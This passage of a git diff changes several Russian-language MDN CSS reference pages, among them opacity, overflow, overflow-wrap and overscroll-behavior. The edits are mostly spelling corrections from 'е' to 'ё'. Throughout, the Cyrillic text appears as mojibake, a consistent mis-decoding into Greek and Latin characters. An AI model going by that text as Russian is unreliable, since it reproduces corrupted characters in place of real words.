+ <dd>Π‘ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π½Π΅ измСняСт свой Ρ€Π°Π·ΠΌΠ΅Ρ€ с Ρ†Π΅Π»ΡŒΡŽ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ пространство Π±Π»ΠΎΠΊΠ°: ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ с использованиСм Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ° измСнСния Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π° Ρ‚Π°ΠΊΠΆΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Ρ€Π°Π²Π΅Π½ ΡˆΠΈΡ€ΠΈΠ½Π΅ ΠΈ высотС смСщаСмого ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°.</dd>
</dl>
<dl>
diff --git a/files/ru/web/css/opacity/index.html b/files/ru/web/css/opacity/index.html
index 5242bb0220..92b9189692 100644
--- a/files/ru/web/css/opacity/index.html
+++ b/files/ru/web/css/opacity/index.html
@@ -68,10 +68,10 @@ translation_of: Web/CSS/opacity
opacity: 0.2; /* Π•Π΄Π²Π° Π²ΠΈΠ΄ΠΈΠΌΡ‹ΠΉ тСкст Π½Π° Ρ„ΠΎΠ½Π΅ */
}
.medium {
- opacity: 0.5; /* Π’ΠΈΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ тСкста Π±ΠΎΠ»Π΅Π΅ чСткая Π½Π° Ρ„ΠΎΠ½Π΅ */
+ opacity: 0.5; /* Π’ΠΈΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ тСкста Π±ΠΎΠ»Π΅Π΅ чёткая Π½Π° Ρ„ΠΎΠ½Π΅ */
}
.heavy {
- opacity: 0.9; /* Π’ΠΈΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ тСкста ΠΎΡ‡Π΅Π½ΡŒ чСткая Π½Π° Ρ„ΠΎΠ½Π΅ */
+ opacity: 0.9; /* Π’ΠΈΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ тСкста ΠΎΡ‡Π΅Π½ΡŒ чёткая Π½Π° Ρ„ΠΎΠ½Π΅ */
}
</pre>
@@ -105,9 +105,9 @@ img.opacity:hover {
<h2 id="ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹_доступности">ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ доступности</h2>
-<p>Если Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ тСкста рСгулируСтся, Π²Π°ΠΆΠ½ΠΎ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ коэффициСнт контрастности ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ†Π²Π΅Ρ‚ΠΎΠΌ тСкста ΠΈ Ρ„ΠΎΠ½ΠΎΠΌ, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ тСкст, достаточно высок, Ρ‡Ρ‚ΠΎΠ±Ρ‹ люди, ΠΈΡΠΏΡ‹Ρ‚Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ со слабым Π·Ρ€Π΅Π½ΠΈΠ΅ΠΌ, ΠΌΠΎΠ³Π»ΠΈ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ содСрТимоС страницы.</p>
+<p>Если Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ тСкста рСгулируСтся, Π²Π°ΠΆΠ½ΠΎ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ коэффициСнт контрастности ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ†Π²Π΅Ρ‚ΠΎΠΌ тСкста ΠΈ Ρ„ΠΎΠ½ΠΎΠΌ, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½ тСкст, достаточно высок, Ρ‡Ρ‚ΠΎΠ±Ρ‹ люди, ΠΈΡΠΏΡ‹Ρ‚Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ со слабым Π·Ρ€Π΅Π½ΠΈΠ΅ΠΌ, ΠΌΠΎΠ³Π»ΠΈ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ содСрТимоС страницы.</p>
-<p>ΠšΠΎΡΡ„Ρ„ΠΈΡ†ΠΈΠ΅Π½Ρ‚ Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠΉ контрастности опрСдСляСтся ΠΏΡƒΡ‚Π΅ΠΌ сравнСния яркости тСкста с ΠΎΡ‚ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒΡŽ ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ†Π²Π΅Ρ‚Π° Ρ„ΠΎΠ½Π°. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ <a href="https://www.w3.org/WAI/intro/wcag">РСкомСндациям ΠΏΠΎ доступности Π²Π΅Π±-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° (WCAG)</a>, для тСкстового содСрТимого трСбуСтся ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ 4.5:1 ΠΈ 3:1 для Π±ΠΎΠ»Π΅Π΅ ΠΊΡ€ΡƒΠΏΠ½ΠΎΠ³ΠΎ тСкста, Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΊΠ°ΠΊ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ. Π‘ΠΎΠ»ΡŒΡˆΠΎΠΉ тСкст опрСдСляСтся ΠΊΠ°ΠΊ 18.66px ΠΈ <a href="https://developer.mozilla.org/ru/docs/Web/CSS/font-weight">ΠΆΠΈΡ€Π½Ρ‹ΠΉ</a> ΠΈΠ»ΠΈ ΠΊΡ€ΡƒΠΏΠ½Π΅Π΅, ΠΈΠ»ΠΈ 24px ΠΈΠ»ΠΈ Π²Ρ‹ΡˆΠ΅.</p>
+<p>ΠšΠΎΡΡ„Ρ„ΠΈΡ†ΠΈΠ΅Π½Ρ‚ Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠΉ контрастности опрСдСляСтся ΠΏΡƒΡ‚Ρ‘ΠΌ сравнСния яркости тСкста с ΠΎΡ‚ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΉ Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒΡŽ ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ†Π²Π΅Ρ‚Π° Ρ„ΠΎΠ½Π°. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ <a href="https://www.w3.org/WAI/intro/wcag">РСкомСндациям ΠΏΠΎ доступности Π²Π΅Π±-ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° (WCAG)</a>, для тСкстового содСрТимого трСбуСтся ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ 4.5:1 ΠΈ 3:1 для Π±ΠΎΠ»Π΅Π΅ ΠΊΡ€ΡƒΠΏΠ½ΠΎΠ³ΠΎ тСкста, Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΊΠ°ΠΊ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ. Π‘ΠΎΠ»ΡŒΡˆΠΎΠΉ тСкст опрСдСляСтся ΠΊΠ°ΠΊ 18.66px ΠΈ <a href="https://developer.mozilla.org/ru/docs/Web/CSS/font-weight">ΠΆΠΈΡ€Π½Ρ‹ΠΉ</a> ΠΈΠ»ΠΈ ΠΊΡ€ΡƒΠΏΠ½Π΅Π΅, ΠΈΠ»ΠΈ 24px ΠΈΠ»ΠΈ Π²Ρ‹ΡˆΠ΅.</p>
<ul>
<li><a href="https://webaim.org/resources/contrastchecker/">WebAIM: Color Contrast Checker</a></li>
diff --git a/files/ru/web/css/order/index.html b/files/ru/web/css/order/index.html
index a9265b81c8..783af7d5b6 100644
--- a/files/ru/web/css/order/index.html
+++ b/files/ru/web/css/order/index.html
@@ -55,7 +55,7 @@ order: unset;</pre>
&lt;/main&gt;
&lt;footer&gt;...&lt;/footer&gt;</pre>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉΒ CSS ΠΊΠΎΠ΄Β Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ классичСский Π±Π»ΠΎΠΊ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΉ Π±ΠΎΠΊΠΎΠ²Ρ‹ΠΌΠΈ панСлями. Flexible Box Layout Module автоматичСски создаёт Π±Π»ΠΎΠΊΠΈ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎΠΉ высоты ΠΈ максимально допустимой ΡˆΠΈΡ€ΠΈΠ½Ρ‹.</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉΒ CSS ΠΊΠΎΠ΄Β Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ классичСский Π±Π»ΠΎΠΊ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΎΠΊΡ€ΡƒΠΆΡ‘Π½Π½Ρ‹ΠΉ Π±ΠΎΠΊΠΎΠ²Ρ‹ΠΌΠΈ панСлями. Flexible Box Layout Module автоматичСски создаёт Π±Π»ΠΎΠΊΠΈ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎΠΉ высоты ΠΈ максимально допустимой ΡˆΠΈΡ€ΠΈΠ½Ρ‹.</p>
<pre class="brush:css;">main { display: flex; text-align:center; }
main &gt; article { flex:1; order: 2; }
diff --git a/files/ru/web/css/orphans/index.html b/files/ru/web/css/orphans/index.html
index d6c5385e17..b279776262 100644
--- a/files/ru/web/css/orphans/index.html
+++ b/files/ru/web/css/orphans/index.html
@@ -2,7 +2,7 @@
title: orphans
slug: Web/CSS/orphans
tags:
- - ВСрстка
+ - Вёрстка
- ΠΏΠ΅Ρ‡Π°Ρ‚ΡŒ
- Ρ€Π°Π·Ρ€Ρ‹Π² страницы
- фрагмСнтация
diff --git a/files/ru/web/css/overflow-block/index.html b/files/ru/web/css/overflow-block/index.html
index ead0067598..2756cb66f9 100644
--- a/files/ru/web/css/overflow-block/index.html
+++ b/files/ru/web/css/overflow-block/index.html
@@ -31,7 +31,7 @@ overflow-block: unset;
<dl>
<dt><code>visible</code></dt>
- <dd>Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ Π½Π΅ обрСзаСтся ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ ΠΊΡ€Π°Π΅Π² Π±Π»ΠΎΠΊΠ° отступа.</dd>
+ <dd>Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ Π½Π΅ обрСзаСтся ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ ΠΊΡ€Π°Ρ‘Π² Π±Π»ΠΎΠΊΠ° отступа.</dd>
<dt><code>hidden</code></dt>
<dd>ΠŸΡ€ΠΈ нСобходимости содСрТимоС обрСзаСтся, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρƒ Π±Π»ΠΎΠΊΠ° Π² ΠΏΠΎΠ»Π΅ заполнСния. ΠŸΠΎΠ»ΠΎΡΡ‹ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ ΠΎΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚.</dd>
<dt><code>scroll</code></dt>
diff --git a/files/ru/web/css/overflow-wrap/index.html b/files/ru/web/css/overflow-wrap/index.html
index fda01d4824..8c5409417a 100644
--- a/files/ru/web/css/overflow-wrap/index.html
+++ b/files/ru/web/css/overflow-wrap/index.html
@@ -12,7 +12,7 @@ translation_of: Web/CSS/overflow-wrap
<p class="hidden">Π˜ΡΡ…ΠΎΠ΄Π½ΠΈΠΊΠΈ для ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² хранятся Π² GitHub Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ. Если вы Ρ…ΠΎΡ‚ΠΈΡ‚Π΅Β ΠΏΠΎΡƒΡ‡Π°ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π² ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π΅ с ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°ΠΌΠΈ, поТалуйста, склонируйтС  <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a>Β ΠΈ ΠΏΡ€ΠΈΡˆΠ»ΠΈΡ‚Π΅ Π½Π°ΠΌ ΠΏΡƒΠ» рСквСст.</p>
<div class="note">
-<p><strong>Note:</strong> Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ {{cssxref("word-break")}}, <code>overflow-wrap</code> создаСт пСрСнос Ρ‚ΠΎΠ»ΡŒΠΊΠΎ, Ссли Ρ†Π΅Π»ΠΎΠ΅ слово Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΎ Π½Π° своСй Π»ΠΈΠ½ΠΈΠΈ Π±Π΅Π· пСрСполнСния</p>
+<p><strong>Note:</strong> Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ {{cssxref("word-break")}}, <code>overflow-wrap</code> создаёт пСрСнос Ρ‚ΠΎΠ»ΡŒΠΊΠΎ, Ссли Ρ†Π΅Π»ΠΎΠ΅ слово Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΎ Π½Π° своСй Π»ΠΈΠ½ΠΈΠΈ Π±Π΅Π· пСрСполнСния</p>
</div>
<p>Π˜Π·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ свойство <code>word-wrap</code>Β Π½Π΅ Π±Ρ‹Π»ΠΎ стандартом, хотя ΠΈΒ Π±Ρ‹Π»ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ΠΎ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ². ВпослСдствии оно было ΠΏΠ΅Ρ€Π΅ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½ΠΎ Π²Β <code>overflow-wrap</code>Β c алиасом <code>word-wrap</code>.</p>
@@ -30,7 +30,7 @@ overflow-wrap: initial;
overflow-wrap: unset;
</pre>
-<p>Бвойство <code>overflow-wrap</code> задаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎΒ ΡΠ»ΠΎΠ²Π° ΠΈ выбираСтся ΠΈΠ· списка Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Ρ… Π½ΠΈΠΆΠ΅:</p>
+<p>Бвойство <code>overflow-wrap</code> задаётся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎΒ ΡΠ»ΠΎΠ²Π° ΠΈ выбираСтся ΠΈΠ· списка Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Ρ… Π½ΠΈΠΆΠ΅:</p>
<h3 id="Values">Values</h3>
diff --git a/files/ru/web/css/overflow/index.html b/files/ru/web/css/overflow/index.html
index 58a572c013..00bac1115d 100644
--- a/files/ru/web/css/overflow/index.html
+++ b/files/ru/web/css/overflow/index.html
@@ -9,7 +9,7 @@ translation_of: Web/CSS/overflow
<p>Бвойство CSS <code>overflow</code> опрСдСляСт, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π»ΠΈ для ΠΏΠ΅Ρ€Π΅ΠΏΠΎΠ»Π½Π΅Π½Π½ΠΎΠ³ΠΎ Π±Π»ΠΎΡ‡Π½ΠΎΠ³ΠΎ элСмСнта содСрТимоС ΠΎΠ±Ρ€Π΅Π·Π°Ρ‚ΡŒ, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ полосы ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ ΠΈΠ»ΠΈ просто ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ.</p>
-<p>ИспользованиС свойства <code>overflow</code> со значСниями, ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ ΠΎΡ‚ <code>visible</code>, (Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, принятоС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ), создаёт Π½ΠΎΠ²Ρ‹ΠΉ <a href="/en-US/docs/CSS/block_formatting_context" title="CSS/block_formatting_context">Π±Π»ΠΎΡ‡Π½Ρ‹ΠΉ контСкст форматирования</a>. Π­Ρ‚ΠΎ тСхничСски Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ссли Π±Ρ‹ float пСрСсСкался с элСмСнтом ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ, это ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Π»ΠΎ Π±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π½ΠΈΠ΅ содСрТимого ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°Π΅ΠΌΠΎΠ³ΠΎ элСмСнта Π²ΠΎΠΊΡ€ΡƒΠ³ Π²Ρ‚ΠΎΡ€Π³Π°ΡŽΡ‰ΠΈΡ…ΡΡ float'ΠΎΠ². ΠžΠ±Ρ‚Π΅ΠΊΠ°Π½ΠΈΠ΅ ΠΏΡ€ΠΈ этом Π±Ρ‹Π»ΠΎ Π±Ρ‹ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒ послС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ шага ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ Π·Π°Π½ΠΎΠ²ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π»ΠΎ Π±Ρ‹ ΠΊ Π·Π°ΠΌΠ΅Ρ‚Π½ΠΎΠΌΡƒ замСдлСнию ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠΉ установкС Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>scrollTop</code> для ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ HTML-элСмСнта, Π΄Π°ΠΆΠ΅ Ссли <code>overflow</code> ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>hidden</code>, элСмСнт, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придСтся ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΈΡ‚ΡŒ.</p>
+<p>ИспользованиС свойства <code>overflow</code> со значСниями, ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ ΠΎΡ‚ <code>visible</code>, (Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, принятоС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ), создаёт Π½ΠΎΠ²Ρ‹ΠΉ <a href="/en-US/docs/CSS/block_formatting_context" title="CSS/block_formatting_context">Π±Π»ΠΎΡ‡Π½Ρ‹ΠΉ контСкст форматирования</a>. Π­Ρ‚ΠΎ тСхничСски Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ссли Π±Ρ‹ float пСрСсСкался с элСмСнтом ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ, это ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Π»ΠΎ Π±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π½ΠΈΠ΅ содСрТимого ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°Π΅ΠΌΠΎΠ³ΠΎ элСмСнта Π²ΠΎΠΊΡ€ΡƒΠ³ Π²Ρ‚ΠΎΡ€Π³Π°ΡŽΡ‰ΠΈΡ…ΡΡ float'ΠΎΠ². ΠžΠ±Ρ‚Π΅ΠΊΠ°Π½ΠΈΠ΅ ΠΏΡ€ΠΈ этом Π±Ρ‹Π»ΠΎ Π±Ρ‹ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚ΡŒ послС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ шага ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ Π·Π°Π½ΠΎΠ²ΠΎ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π»ΠΎ Π±Ρ‹ ΠΊ Π·Π°ΠΌΠ΅Ρ‚Π½ΠΎΠΌΡƒ замСдлСнию ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠΉ установкС Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>scrollTop</code> для ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ HTML-элСмСнта, Π΄Π°ΠΆΠ΅ Ссли <code>overflow</code> ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>hidden</code>, элСмСнт, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придётся ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΈΡ‚ΡŒ.</p>
<p>{{cssinfo}}</p>
diff --git a/files/ru/web/css/overscroll-behavior/index.html b/files/ru/web/css/overscroll-behavior/index.html
index acdb9c8c05..58377262db 100644
--- a/files/ru/web/css/overscroll-behavior/index.html
+++ b/files/ru/web/css/overscroll-behavior/index.html
@@ -23,7 +23,7 @@ overflow: initial;
overflow: unset;
</pre>
-<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ эффСкт "отскока" ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅Β ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚ страницу ΠΏΡ€ΠΈ достиТСниС Π΅Π΅ Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ ΠΈΠ»ΠΈ Π½ΠΈΠΆΠ½Π΅ΠΉ части (ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ области ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ). You may also have noticed that when you have a dialog box with scrolling content on top of a page of scrolling content, once the dialog box's scroll boundary is reached, the underlying page will then start to scroll β€” this is called <strong>scroll chaining</strong>.</p>
+<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°ΡŽΡ‚ эффСкт "отскока" ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅Β ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚ страницу ΠΏΡ€ΠΈ достиТСниС Π΅Ρ‘ Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ ΠΈΠ»ΠΈ Π½ΠΈΠΆΠ½Π΅ΠΉ части (ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ области ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ). You may also have noticed that when you have a dialog box with scrolling content on top of a page of scrolling content, once the dialog box's scroll boundary is reached, the underlying page will then start to scroll β€” this is called <strong>scroll chaining</strong>.</p>
<p>In some cases these behaviors are not desirable. you can use <code>overscroll-behavior</code> to get rid of unwanted scroll chaining and the browser's Facebook/Twitter app-inspired "pull to refresh"-type behavior.</p>
diff --git a/files/ru/web/css/padding-left/index.html b/files/ru/web/css/padding-left/index.html
index 0e4c4a28ed..f669f782d3 100644
--- a/files/ru/web/css/padding-left/index.html
+++ b/files/ru/web/css/padding-left/index.html
@@ -15,7 +15,7 @@ translation_of: Web/CSS/padding-left
